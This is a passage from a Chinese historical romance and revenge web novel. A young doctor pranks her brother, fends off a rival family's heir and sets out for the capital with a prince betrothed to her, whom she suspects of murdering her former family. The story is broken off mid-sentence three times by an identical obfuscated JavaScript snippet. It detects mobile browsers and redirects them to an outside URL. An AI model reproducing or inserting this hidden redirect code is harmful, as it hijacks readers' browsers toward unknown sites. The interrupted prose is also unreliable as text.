直觉告诉他,今日定是遇到了什么事。 柳林看向一脸笑意的柳春意,询问道:“怎的如此颓败,是医馆出什么事了吗?”,他眼底尽是探究。 柳春意佯作笑语,随意扯了句谎,不曾想柳林和田桑云都不是好糊弄的人,非要听到真话。 他们一路跟着二人,直到进入柳春意的闺房。 主仆二人实在无法,只能让木槿一五一十地告知他们今日发生之事。 待柳林听完,眉头皱得死紧,义愤填膺地一掌拍在案上,那气势活似是要立即跑到人家府邸去讨回个公道。 “什么?!那厮竟能做出如此令人不耻之事!吾妹莫怕,阿兄定为你讨回公道!” 柳春意眼疾手快地扶住差点被他动静震翻的茶盏。 瞧着柳林的表现,柳春意确信他真的能干出那档子事,如若不是腿脚不便,估摸此刻他应坐上马车了。 事情她既已解决,也应翻篇而过,不必揪着不放。 柳春意拿着那只茶盏走到柳林旁边,给他倒了一盏莲心茶。 她将茶盏递到柳林手上,语气轻快,缓声安抚道:“阿兄莫要动怒。说到底他只不过是使了些低劣手段抢生意罢了,明眼人自能辨别黑白。兄长不必如此在意,快喝些莲心茶败败火气。” 柳林仔细端详柳春意的表情,后者真诚地朝着他眨眨眼睛,一副轻松的样子,好似真的没有将这件事放在心上。 柳林这才放松,化愤怒为饮欲,拎起茶盏,仰头一饮而尽。 一直沉默不语的田桑云突然开口说道:“岑氏与柳氏一向不和,一计不成定会再生一计。公公折了腰,一时半会儿也好不了。医馆只能由你照看,只你一人,怕是不好应对。” 说到她擅长的领域,柳春意细眉轻挑,嘴角笑意直达眼底,脸上傲气尽显。 她自信说道:“嫂嫂无须忧心,在我这儿岑氏讨不到好处。” 结果待她说完,夫妻俩只是神色狐疑地看了她一眼,自顾自地聊了起来,完全无视她的话。 柳林笃定道:“明日我与春意同去。” 田桑云驳回:“不可,你伤未好,需得静养。我去。” 柳春意趁势说道:“无妨,此等小事,我一人足矣。” 柳林无视她,款款拉住田桑云的手,轻轻拍了两下,真切地说道:“无碍,此等小伤,我从未放在心上。” …… 可以撤回一个正骨之术吗? 以及,不就是小小岑氏吗?搞得和遇上洪水猛兽似的。 柳春意上前一步,随意地把手撑在桌案上。 未等她发声,桌案对面的夫妻二人同步扭头,一脸凝重地盯着她。 柳春意咽下喉间的话,默默收回撑在案上的手。 突然这样,倒有些渗人。 两人也不问她的意见,直接抛出商量好的结果。 “明日我们三人同去。” 柳春意下意识拒绝:“不必……” 柳林打断她说话,一锤定音:“好,就这么定了。忙了一天,想必吾妹早已饥肠辘辘。算着时辰,灶房当备好吃食了。净面浣手,速去用膳罢。” 这是她的闺房,不是他的一言堂! 柳春意内心腹诽道。 但柳春意表面依旧是笑盈盈的,脆声说道:“兄长考虑的好周到哦。那妹妹先行盥漱,就不亲自送兄嫂了。” 柳林应了一声。 木槿懂事地从田桑云手中接过推手。 田桑云适才松手,柳林的手又伸了过来。 柳春意本该朝里走,不知为何又拐回来朝门外瞥了一眼。 不看还好,一看她简直就是气不打一处来。 只见夫妻二人甜蜜蜜地牵着手,悠闲地走在青石板上,而柔弱瘦小的木槿则孤身推着轮椅。 下次也不允木槿送!这丫头怎如此心善。 三人用膳时,默契地未提岑氏之事。 今日走时匆忙,未来得及看眼父亲伤势如何。 柳春意心里放不下,食毕便随着母亲去看望父亲。 亲自检查一番,确认无碍后才安心返回闺房就寝。 半夜时分小雨淅淅沥沥地下了起来。细雨斜织,穿过未闭的窗落入房内,轻轻拂过榻上之人泛着苦意的眉眼。 雨点微凉,冲散梦中酷热。 细雨虽小,但却一直下到天亮。 柳春意梳妆完毕出府,兄嫂二人立于檐下观雨,很是投入,连她走到近处都未曾发觉。 柳林声音放得很柔,似是在耍娇痴。 “昨日落雨又刮风,凉的很。我想关窗,却总觉着背后有鬼,害得我不敢翻身,白白冻了一夜,醒后还有些落枕。夫人怕扰我休养,弃我一人于卧房,这回反倒是错了。今日不去客房了,好不好?” 可惜田桑云不吃这套,虽说这样说话的柳林真的很难见到一次。但是她从幼时起就睡姿无状,之前还屡屡将柳林挤下床。可如今开过刀的腿,她是怎么说都不敢再压的。 田桑云义正言辞地拒绝道:“不可,你如今需要静休。” 柳林辩驳:“我的腿现今已不痛了。看这架势,雨应还要下一整天,夫人忍心留我一人受冻吗?” 术后两天不痛的,柳春意还是第一次见。 还“忍心留我一人受冻吗?”,我天,你是腿有问题,不是手啊,冷了不会关窗吗? 许是怕说不动田桑云,柳林详细的描述鬼进房间找他,他因腿脚不便被困住的假设情景。 想起昨个儿被忽视的惨事,柳春意眼睛一转,心底敲定主意。 俯在一旁的木槿耳边说话。 眼瞧着田桑云犹豫了,柳林心头一喜。 下一瞬,柳春意猛地将她的胳膊搭在他肩上。在他看不到的方向,柳春意悄悄对着田桑云眨了眨眼睛,后者一言不发向后退了几步。 原本就有些落枕的脖子因这一下酸痛到了极点。 柳林一改先前温和,嚷道:“好啊你柳春意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058975|194960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,果真是长大了,如今都要谋害亲兄了。我对你,深失所望!” 柳春意直起身信步向前,温声软语地说道:“别生气嘛阿兄,妹妹只是太想你了,不晓得阿兄身体不适。” 柳林嚷完也意识到妹妹刚来,未听到他说话,如此这般倒也说得过去。 柳林大丈夫能屈能伸,真诚认错:“是阿兄激进了。” 话音刚落,肩上的手挑衅地捏了一下他的脖子。 柳林龇牙咧嘴一阵,内心不解,自家妹妹何时变得如此淘气了? 他还未质问柳春意为何捏他,罪魁祸首反倒说话了。 柳春意举起自己的两只手,向柳林索要建议道:“阿兄,我昨日接诊时发现有许多女子都染甲了,不胜艳羡。你说,我染什么颜色好。” 柳林看着妹妹白皙细长的手,想也没想就说:“唯有丹红与你相配。” 柳春意满意的收回手,端详一番道:“我亦有同感。” 柳林夸完人才想到自己是要质问妹妹的。 他正色道:“春意现今怎如此淘气?” 柳春意皱眉,清眸盛满疑惑,似是很不解柳林在说什么。 肩上源源不断传来温度,柳林指着这只手,无奈道:“怎能装疯卖傻,你的手还未移走呢。” 柳春意更不解了,她再次举起自己的两只手,说道:“什么?我的手都在这里啊。” 柳林这才意识到不对,他脖子落枕,不能很快的扭头,只得缓缓转头。搭在他肩上的手泛着紫色,指甲很长,是纯黑色的,此时两指摆出兔子耳朵形状,弯曲又伸直动个不停。 一声大喊响破整个街道:“有鬼啊!” 伴着喊叫声响起的是三个女生的笑声。 田桑云从府内走出来,及时按住柳林的肩,防止他扭动脖子。 躲在柳林身后的木槿蹦出来,摘掉长长的黑色护甲。 看清是谁柳林这才冷静下来,眯眼看着自家妹妹。 罪魁祸首凑到跟前认错,态度十分诚恳道:“哥哥对不起,我知道错了。我发誓没有下次了!” 说着她绕到柳林身后,给他按揉能够缓解落枕的穴位。 手法娴熟老练,柳林的气消得一干二净。 几人闹闹腾腾地坐上马车前往柳氏医馆。 老远就看到馆外候着的男子。 男子身着一袭明黄色圆领绣金广袖长衫,一枚成色极好的和田玉佩挂在其腰间,发间还插着一支累丝飞燕金簪,端的是一个雍容华贵,富气逼人。 敢在街上打扮如此高调的,除了岑家柳林想不到第二个。 他竟在门外等着! 看到柳氏马车,岑玉成眼睛一亮,扭过头询问背后的小厮,面上尽是紧张:“如何?可还看的过眼?” 小厮哪敢说看不过眼啊,他上前一步狗腿似的点头,闭着眼胡乱夸赞一通道:“公子您仪表堂堂,唐茂轩然,然……苒苒多姿,姿……”小厮只知道这些是夸人的,什么意思他可不知道,说到尾实在不知怎么说了。 岑玉成脸上的愉悦散得一干二净,骂道:“不懂就闭嘴。” 小厮讪讪地笑了一声,挠头后退。 5. 该死 柳春意第一个下马车,木槿接过她手里的油纸伞,展开遮住两人。 油纸伞下,少女身着一件翠绿色彩绣荷花玉缎齐胸襦裙,外穿菡萏色短绒及腰披袄。青丝拢在左边挽成侧髻垂发,直至腰间,髻间仅插着两支素银荷钗,更生清新之气。裙上秀荷栩栩如生,让人恍惚间以为自己置身于荷花池。少女肤色白皙,眉眼带笑,一言一行都是诉不尽的明艳。淡绿色的景,配上清丽脱俗的人,甚是悦眼。 岑玉成呆愣在原地,主仆二人一眼未看他,与他擦身而过时,岑玉成缓过神来,一把拉住柳春意的手臂。 喉间爱慕之语未曾出口。 柳林愠怒的话语扬起:“登徒子!撒开你的手!休碰吾妹!” 岑玉成下意识要骂回去,转念一想,把骂人的话咽进肚子里。 他展开笑颜,热络地道:“柳兄别来无恙,近来可好?你我兄弟二人许久未聚一聚了。” 许久未见,岑玉成的病越发严重了。 柳林不与他叙旧,直骂道:“有我在此,断不许你这卑劣之人动我妹妹分毫!” 他也不顾及岑玉成的脸面,招来小厮把岑玉成赶走。 自己杵在门口盯着岑玉成的一言一行,一旦岑玉成靠近,柳林就命小厮截住他。 一来一回多次,岑玉成安生了许多。 细雨骤密,啪嗒啪嗒地砸在地上。周遭水雾弥漫,糊住来往之人视线。 城门处驶进一辆低调的马车,径直往柳府的方向去了。 冷风拂过,舆帘翻飞,露出车舆内那张冷艳无双的俊脸。 趁雨下大,岑玉成戴着墨色面巾叫上小厮,两人偷偷摸摸走到柳氏医馆侧墙那边。 岑玉成还不忘骂道:“那厮本命属犬吧,守门的事做起来得心应手的。” 岑玉成绕墙端详一番,墙大约高八尺三寸,周围也没有可以攀爬之物。 岑玉成想也没想,招呼小厮跪下。 地上泥水已达履底一半,如若跪下定是要湿的不成样子的。湿哒哒的衣服贴在身上,待冷风一吹,明个小厮就能光明正大地走进医馆也不必如此鬼鬼祟祟。 虽心里不满,但小厮仍是一脸谄媚地跪在岑玉成旁边。 岑玉成靴底沾满了烂泥,他先是在小厮肩上把泥蹭了下去,随后踩在他背上,指挥道:“你站高些,动作慢一点,若将我摔着,岑府的门也不用再进了。” 小厮连忙称是,缓缓起身,肩上污泥因他的动作掉落,砸进雨水里,溅起来的污水直直打向他的眼睛。 小厮停下动作,眼睛里的涩感让他浑身一顿,他紧闭双眼下意识要去揉。 站他背上的岑玉成差一点就能够到墙头,发觉身底下的人没了动作,岑玉成攒劲踩了他一脚:“怎的不动了?你是想反不成?” 小厮忍痛直起身,把岑玉成送上去。 下墙容易,上墙难。 岑玉成利落地跳下墙,对着门外的柳林狠狠地呸了一口,随即进入内堂待诊。 今日病者不多,很快的轮到他了,他正巧是最后一个。 柳春意唇角勾着一抹浅浅的笑,话音轻细柔和,缓声询问道:“阁下何处不适?” 她本就不记得岑玉成的脸,如今遮起来更认不出了。 岑玉成沉溺于她的笑中不可自拔,待柳春意再次询问,他才开口。 只见他双手交叠放至胸前,痛声道:“大夫有所不知,鄙人自昨夜起,这心口犹如针扎,疼得很。” 柳春意继续询问:“过往可曾出现过这样的情况?” 岑玉成倾身向前,叹了口气道:“从未有过。” 柳春意颔首,安抚道:“不必担忧,请将面巾摘下。” 岑玉成没摘反而身体又往前了些,柳春意不动声色后退。 “有一美人兮,见之不忘。一日不见兮,思之如狂啊。”1 怎莫名其妙开始吟诗了? 柳春意皱眉道:“阁下莫不是走错了,旁边才是学堂。” 岑玉成见这招不好使遂直起身,含情脉脉地看着柳春意道:“柳二小姐真真看不到岑某的心意吗?” 说罢,他低头垂眸抬起无意翘着兰花指的左手,用两指捏起面巾一角,自右向左扯开。 面巾垂落,拂过如画眉眼,他眼睫轻颤缓缓抬眼,眼里的痴情浓稠如蜜,黏在柳春意毫无表情的脸上。 柳春意:…… 倒也不必这么娇气吧…… 岑玉成握住柳春意放在诊桌上的手。 因这无聊至极的情愫耽误柳春意诊治病者,这真是不可原谅啊。 未等柳春意发作,清冷却又夹杂着戏谑的嗓音从门外传来。 “本王来的不巧,竟成了拆散有情人的恶人。依本王看,这门婚事便作罢吧。” 柳春意探头看向门外。 来人容貌冷艳,若披烟霞。细眉凤眼,肤白若雪,眉间小痣似雪中红梅,艳而不妖。一袭白衣洁如月华,其上绣着的银丝散出微光。乌黑顺滑的发丝仅用一根青色发带半束着,一绺墨发被拨至胸前。尽管坐在轮椅上,他身上那股与生俱来的贵气却未被削弱半毫。 此刻,凤眸瞥来,眸光轻漫,俨然是一副置身事外的表情。 这正是当今闲王燕池,她的未婚夫。 柳春意秀眉微抬,强行压下清眸里的惊艳之色。 她站起身来,手上的拉力引得她微向前倾,柳春意不留情面地用力甩开岑玉成紧握着她的手。 她三步并作两步走到燕池面前,手撑在两个扶几上,俯身直视燕池的脸,两人距离倏然拉近,柳春意故作疑惑地问:“美人可是我的未婚夫?” 如此浪荡行径,迟迟入门的柳林被妹妹的大胆惊得张大嘴巴,一脸“活够了吗?”的样子看着柳春意。 推着柳林的田桑云头一次露出不知所措的表情,神色慌乱,脸上血色渐消。 后头的岑玉成更是瞪大眼睛,双手紧握,面露惶然。 他全然不知柳春意与贵人有婚约的事啊!只求贵人不要惩治他啊! 燕池细眉蹙起,薄唇微抿,凝眸冷冷地扫了她一眼,偏过头不再看她,脸上的厌嫌直白又浓烈。 他这一副受气样令柳春意来了兴趣,她本意就只是想恶心一番他,结果现在柳春意反而愈发想欺负他了。 柳春意伸手掰过燕池的脸,后者凤眸里充满了不可置信。 柳春意险些大笑出来,好在她遇到的事多,练就了一手控制表情的好能力。 她忍住笑意,眸中含情,怯生生地望着燕池的脸,深情道:“民女盼星星盼月亮终是将您盼来了,您就如夜间皎月,日间灿阳,是在我昏迷时日支撑我活下去的唯一念想。” 燕池:…… 柳林:…… 岑玉成: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058976|194960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 田桑云眨眨眼睛,喜色铺了满脸。 果然,燕池被这番话恶心到了。 他抬手招来侍卫。 侍卫上前一步,握住腰间长剑,“铮”的一声拔剑出鞘,剑尖抵在柳春意细瘦白皙的脖颈前。 柳林也不顾身份之别,喝道:“谁敢动吾妹一下试试!” 侍卫不听,只是对着柳春意说道:“退后。” 脾性倒一如既往的大。 柳春意面无惧色,抬手随意弹开脖前的剑。 本以为她会害怕,谁知这威胁之法对她无用。 先帝亲赐的婚约,分量之大,柳春意是他们动不了的。 柳春意深知这一点。 她低头酝酿情绪,再次抬头时鼻尖微红,清眸中蓄着薄泪,眼角泛着淡粉,宛若带雨梨花,昭然是一幅委屈到极点的柔弱模样。 侍卫冷淡的脸上浮现出一丝裂痕。 柳林眉头紧皱,他可见不得妹妹落泪,不满道:“闲王若不喜草民妹妹也不必如此折辱她!殿下大可向陛下请命,废除此条婚约!” 原本柳林看在对方身份高贵,心中不免有些畏惧,但只要他在一日,定不许他人拿剑指着自己妹妹! 柳春意抽动鼻子,拭去脸上的泪,可怜楚楚地道:“不知民女哪里做的不对,竟让闲王如此厌嫌。” 燕池最讨厌处理这种事,他睨了侍卫一眼。 侍卫将剑收入鞘中,拱手认错道:“是属下失礼了。” 柳春意将手背在身后,语气带着不甘道:“无妨,你也是听命行事。”接着她状似无意地提了一句:“我知道厌弃我的不是你。” 言下之意:我要燕池给我道歉。 柳春意又补了一句:“殿下腰间挂着的玉佩甚是精致。” 燕池扫了她一眼,摘下腰间玉佩,递给一旁的侍卫。 柳春意抢在侍卫接过前握上燕池的手。 燕池眉心不受控制的皱在一起,眉间红痣凹了下去,看着别有一番风味。 柳春意拿过玉佩塞进衣袖里,笑嘻嘻地道:“这个定情信物民女一定会好好珍藏的。” 再次语出惊人。 为了防止柳春意胡闹,柳林开口道:“已至午时,该回府用膳了。殿下,这边请。” 柳春意殷勤地握住燕池轮椅的推手,笑着说道:“民女推殿下罢。” 燕池似是怕柳春意再做出其它什么令人厌嫌的事,倒也由着她推自己了。 侍卫跟在身后为二人撑伞。 她似乎眼睛不好。医馆里的的石子本身就少,她却总能精准地碾过那些石子,引得轮椅颠簸不休。 燕池扭头瞟向她,柳春意歪头凑到他眼前,眼底亮晶晶的,真诚地询问道:“怎么了夫君?” 闻此话,微张的唇咽下要说的话,转过头不再看她。 无人看到的角落,柳春意眼底冷意尽显。 燕池的手上的确没有茧子,手的宽度和那只手竟也高度相合。 真是该死啊。 如若她不知燕池能够站起来,她定不会怀疑到燕池头上。 谁敢相信一个常年坐轮椅的人不仅能够站起来,还能亲手杀死一个人。这样的事都能实现,更别提变声了。 何况亲眼见到铁面将军佩剑之人少之又少,而他则是其中之一。 她当时竟未想到这一点! 6. 离家 燕池八月初十受召归京,在归京路上收到皇帝密信,令他前往辞阳接他的未婚妻,并于下月完婚。 待他行至柳府,被告知所谓未婚妻正在医馆行医。 他本意是想在府中等她归家,柳氏夫妇却极力建议他去医馆。 早知如此,他断不会前往医馆。 柳春意的马车先行至柳府,她招呼其余人回府,只她一人在檐下候着燕池便好。 燕池初坐上轮椅,柳春意举着油纸伞迎上去。 衣袂翩翩,绿意盎然,倒真应了她的名字。 春意渐生,明丽艳逸。 那双杏眼清湛,热切眸光流转其间,如朝华映水,澄澈透亮。 柳春意笑靥粲然,眉眼弯弯,语声清亮裹着笑意道:“夫君,我来推你罢。” 燕池缄口不语,用冷淡表达自己的拒绝。 可惜柳春意是个“瞎”的,她向握着推手的侍卫微抬下颌,眉头微皱,颇为不满地道:“夫君已允我推他,你怎如此不懂事?” 曲意歪解。 燕池默然抬眸,话语体贴,却无半分笑意:“柳二小姐辛劳半日,当好生歇息,此等琐事交于云琼即可。” 柳春意俯身贴至燕池耳边笑语:“夫君这般体贴,我愈发喜你了呢。” 燕池侧身避开,眸底厌弃之意更甚。 柳春意嘴角笑意浓了几分。 燕池不爽,她就开心。 柳春意直起身,朗声道:“既如此,我为你们撑伞罢。” 说着柳春意便拿过云琼手中的伞,朝他露出一抹善良的笑。 三人一同进府,明明是在自己家,柳春意却对什么都很好奇。 手中的伞随着她的动作乱动,雨水顺着伞骨流到燕池肩膀上,洇湿他的衣服。 燕池抬手示意云琼停下,见他们不再往前,柳春意也停了下来。 柳春意侧头看向两人,眼含茫然,佯作疑惑道:“怎么了?” 燕池眸光上下扫视柳春意,眼底盛着愠色,冷声道:“既不会撑伞便莫要强逞,徒惹人烦。” 云琼夺过柳春意另一只手上未被撑开的伞,也像她那样勾唇浅笑。 柳春意垂眸低眉,语带歉意地道:“好罢。” 她凝视二人离去的身影。 以往他总是缄默不语,如今倒好,不仅敢杀人,连嘴上功夫也厉害了不少,都会反唇相讥了。 更该死了呢。 柳春意敛下眸中杀意,闲步向前。 待她步入正厅,只余下燕池旁边的席位。 皇帝不允燕池大办婚事,说在今年办冲喜意味的婚事是大忌,让他先行接柳春意至闲王府,在下个月举行简单的结亲仪式便可,特意提到平民的结亲仪式。 摆明就是羞辱。 柳氏夫妻虽心中不悦但也无可奈何。 帝王之语,谁敢质疑。 柳春意似是听不懂,脸上依旧乐观。 她根本无心听几人说话,瞅着桌上的菜肴,寻找燕池不喜吃的。 她记得在三清馆里,燕池从不食辣。 无法现在手刃仇敌,她便只能寻其他方式惹他不快。 柳春意挨个尝菜,一遇辛辣的就夹一筷子到燕池的碟子里。 燕池有洁症,不喜自己碟子里有残留的吃食。 她料定燕池会吃完。 燕池言毕转头,看着碟子里堆成小山的食物狠狠地皱了下眉。 他转眸斜睨始作俑者,目光寒冷如霜。 后者摇头晃脑地咀嚼食物,装看不见。 等咽下口中食物,她无视燕池愠怒的目光,欣赏地道:“夫君尝尝看,这些菜肴甚是美味。” 举止失仪,不成体统。 杨笙尬笑一声,解释道:“殿下勿怒。小女昏迷许久,今多事不记,愿殿下海涵。” 柳春意杏眼含笑。 吃吧吃吧,辣不死你。 食毕,柳春意看向燕池面前空空的碟子以及他染上红晕的眼角,心底无限畅快。 由于柳家行善一年,家底如今并不如先前那般殷实,能拿得出手的也只有草药了。 虽不是什么稀世奇珍,却也足够名贵,不至于失了脸面。 女儿成婚,他们却无法亲眼瞧着她出嫁。 众人心下憋闷。 杨笙慈目含泪,摘下自己腕间翡翠放在柳春意手上,颤声道:“这是母亲身上最有价值之物,母亲将它交予你。它会代表母亲,永远陪在你的身边。你要记得无论你去往哪里,柳府大门始终向你敞开,我们永远是你的依靠。” 柳春意从不觉得自己对柳府有感情,可当下,她只想落泪。 她紧咬嘴唇,抑住眼底涩感。 柳林双手捧着一把镶玉匕首,放在柳春意眼前。 脸上的笑比哭还难看。 两行清泪顺着眼尾落下,柳春意气急败坏地擦掉脸上的泪。 调侃的话却怎么也说不出口了。 她最讨厌离别了! 柳林眼神温柔,抬手揉了揉柳春意的头。 温和地道:“哭什么?待兄长腿好便去京都寻你,又不是见不到了。” 他把匕首放在柳春意手上。 “这是我藏了好几年的珍品,是从西域传来的,据说削铁如泥。兄长不在你身边的日子里,就让它替我守护你罢。” 田桑云则递上一个香囊,上面绣着嫩柳,针脚细密,惟妙惟肖。 田桑云不好意思道:“嫂嫂也没什么拿得出手的,这香囊里是些应急草药,希望对你有用。” 柳春意手上没了地方,田桑云俯身将香囊系在她腰间。 拥柳春意入怀,田桑云忍着喉间哽咽:“愿你今后岁岁安康,百求百应。京都路远,一路平安。” 柳春意鼻息间尽是田桑云身上的桂花清香,原是安神的,柳春意反觉烦躁。 柳满城躲在最后方他本不欲说话,却还是忍不住上前。 看到女儿脸上泪痕,他再也绷不住了。 杨笙脸上没好气地道:“四十好几的人了!哭什么哭,家里的福气要被你哭干了。” 话虽如此,一家五口脸上的泪水凑一起倒能形成一条小河了。 柳满城也觉得一家之主哭成这样不成体统,偏让人看了笑话去。 可好不容易醒来的女儿未陪身边多久就要离去,任谁都无法冷静面对罢。 燕池坐在马车里听着几人的对话,面上没有任何表情。 仿佛世间其余人的喜怒哀乐都与他无关,天生缺乏共情力。 向来冷淡的云琼见到这一幕,眼底不免泛起一抹哀伤。 柳春意垂眸拭去眼角余泪,再次抬眸时眼底蕴满力量,她张开手原地转了一圈,调笑道:“记住我的样子哦。等我下次归家,可莫要将我拒之门外才好。” 她从左到右扫视面前的人,默默将他们的模样刻至心底。 离别是她穷尽一生无法消释的痛楚。 柳春意转身招呼一旁哭成泪人的木槿离开,对着亲人摆手告别:“此去,勿念。” 离别尚且无法接受,遑论生死相隔。 景家的仇,她会一刀一刀报回去。 眼底翻涌的杀意若山间疯长的野草,肆意窜行,游走于全身上下,恶狠狠地缠住柳春意的五脏六腑。 若不是她少时顽劣,爱多管闲事,景家何至于落得如此下场。 二百亡魂,应用仇人血书祭奠;不白之冤,当以仇人血肉涤荡。 柳春意平复心情拉开车幔。 本该宽敞的马车中央赫然摆放着一架屏风,把马车分为两部分。 燕池坐在一侧,手上拿着一本靛青色封皮的无题书,看得入迷,连一个眼神都没分给柳春意。 柳春意坐在另一侧,她的嘴一刻也不消停,问道:“国师说我能救殿下一命,殿下信吗?” 燕池不甚在意地答道:“不信。” 柳春意把手立于腿上,支颏歪头看他,疑道:“为何?” 回答柳春意的只有翻书声。 她也不愿自讨无趣。 区区先天弱症,传得好似是得了世人从未见过的疑难杂症。 站都能站能起来了,说不定病早好了。 国师空口白牙的一句话,反倒是白白葬送一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058977|194960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘一生。 第一步是除掉景家,第二步应当是除掉苏家了罢…… 柳春意望向车牖外,心里琢磨:他要夺回属于他的皇位,嫌我景家碍事。干脆给我们下药,一把火将尸体烧个干净。一来断皇帝一臂,二来报幼时之仇,一举两得。既如此,别怪我无情。 柳春意心里叹了口气。虽说在三清馆时两人针锋相对,但在城关那两年,她本以为他们称得上知己,却不想自己是他的拦路石。 真心错付,莫过如此。 一个小棚吸引了柳春意注意,定睛一看,这竟是施粥赈灾的。 世上还是善人多啊。 马车驶得很稳,困意如潮水袭来,柳春意倚着屏风小憩。 再次睁眼时,车内一片昏黑,柳春意也不知马车停下多久,无人唤她醒来。 她伸了个懒腰,随意活动下筋骨。 掀开牖帘,一副幽美的景色映入眼中。 暮夜四合,一轮孤月悬于天幕,银辉穿透薄雾洒在潺潺流动的水面上,漾起细碎清波。 除去燕池和云琼有些让人厌烦之外,其余的所有地方柳春意都很喜欢。 站在燕池旁边的云琼毫无征兆地扭头,柳春意未来得及收回视线,两人就这么对上了。 云琼朝她拱手说道:“柳二小姐,下来透透气罢,” 柳春意点头下车。 天太暗了,马车周围并无火把,柳春意为避免自己失足摔下马车,只得打起十二倍的精神看着脚下。 安全落地,柳春意抬头舒出一口气,几乎是一瞬间,许多生面孔齐齐朝她投来好奇的视线。 跟着他们的人相较于出府前多了好多。 他们围火坐着,火燃烧发出的“噼啪”声柳春意听的一清二楚,这么多人竟是没有一个人说话。 柳春意自得地朝他们招了下手,问候道:“诸位安好。” 回应她的很少,但柳春意不在意。 她没什么包袱的和他们坐在一起。 原本她还在疑惑为什么没看到自家闹腾的木槿,抬头望去,靠着树睡得沉沉的小丫头可不就是木槿嘛。 她临走前对木槿说过,如果木槿不愿离开柳家,她是不会强迫木槿去京都的。 小丫头明明十分舍不得柳家,却还是义无反顾的要跟着她离开。 柳春意脱下身上的披袄,静悄悄地走到木槿身边。 秋夜的风这么凉,还躺的离火堆那么远,真不怕染上风寒。 她未披上,躺着的木槿打了一个喷嚏,睁开眼睛看向她。 迷迷糊糊地喊道:“小姐……” 柳春意挤着她坐下,用夹袄盖住两个人。 “你小姐在此。” 木槿捏着夹袄一角扯开盖在柳春意身上,说道:“小姐这不合规矩。” 柳春意啧了一声,再次给她盖上,佯装生气道:“规矩?我就是规矩。你若染上风寒,倒不必再叫我小姐了。” 木槿脸上扬起笑意,傻得很,惹得柳春意也跟着一起笑出声。 其余人齐刷刷回头看她们, 主仆二人笑声微顿,哈哈干笑两声闭上嘴。 柳春意拉着夹袄盖过头顶,悄悄问道:“他们是干什么的?” 木槿学着柳春意那样,回道:“他们是跟着王爷从城关来的人。” 柳春意皱眉。 王爷归京时间从未外传,燕池既已在八月十五赶至京都,那又何必带着从城关赶来的家仆再走这一遭? 纵使景家死因蹊跷,也无人会怀疑到他的身上。 木槿解释道:“小姐有所不知,王爷是在归京路上收到皇帝的信的,本应走城京道,因要去辞阳接小姐你,这才改道。” 这话也就骗骗什么都不知道的小丫头了。 柳春意眉头舒展。 面对将死之人都未曾以真面目示人,他的谨慎不是常人能够理解的。 柳春意侧头看向河边的燕池。 燕礼静坐于轮椅上,手里仍旧拿着那本书。 都什么时候了,还捧着那无题书,三清馆时也不见他如此好学。 虚伪至极。 7. 王府 马车一路北上,柳春意拉开牖帘,看什么都很新奇。 她自幼生活在北部的京都,很少入过江南。 辞阳与苏州相隔二百里,两地的景象大不相同。 这里的人不需要为了生存忤逆本性截人马车,往来之人脸上含笑,怡然自得。 说到底,最应感谢的就是苏州有一个好节度使。 正午时分一行人在酒楼歇脚进食。 柳春意敲了下燕池的窗。 燕池从不和他们一起用膳,上马车倒是很积极。 连敲几下仍没人应声,柳春意直接掀开牖帘。 燕池已许久未见过如此蛮横无理的人,他眉头微皱,合上手中的书。 质问道:“柳二小姐是否太随便了些?” 柳春意倚着马车,暗暗翻个白眼,嘴上说着:“我敲窗了,是你不理,我才如此。” 燕池收回视线,等柳春意说明用意。 柳春意换上一副不正经模样,吊儿郎当地道:“稍后我就不与王爷同乘马车了,王爷可不要一个人哭鼻子哦。” 燕池只觉她是昏迷几年患上了痴傻症。 燕池拉上牖帘,抛下一句话:“如此,吾心甚悦。” 完成目的,柳春意哼着小曲迈着愉快的步伐走进酒楼。 在近来的相处中,燕池府邸的人极为乐意和柳春意闲聊。 她没有小姐架子,很爱讲故事,每每讲完都会惹得大家齐齐笑出声。 原本沉默漫长的路程,因她增添了快乐轻松的回忆。 估摸着差不多了,柳春意转过身面对着他们倒着走,嘴上无意提了一句:“京都怎如此远,你们上次自京都行至辞阳需多少天?” 人群中一个人想也没想就回道:“从未如此走过,若二小姐问的是自城关行至辞阳,吾等还能答上一番。” 燕池此人,竟如此谨慎。 柳春意问了,他们也答了,但她不信。 “小姐!” 木槿突然喊道。 柳春意脚下动作没停,歪头看她。 “留神脚下!” 伴着这句话响起的是骨骼的“咔嚓”声,她险些摔倒,好在及时稳住身形。 柳春意低头一看,整条路上只有她脚下这一块石头,但凡偏一点她都踩不上,福缘太好了罢。 柳春意:…… 她稍一抬脚,一阵酸麻感便自脚踝处传出,她自己倒也不是很在意。 人群中不知谁惊呼了一句:“小姐可是崴了脚了?” 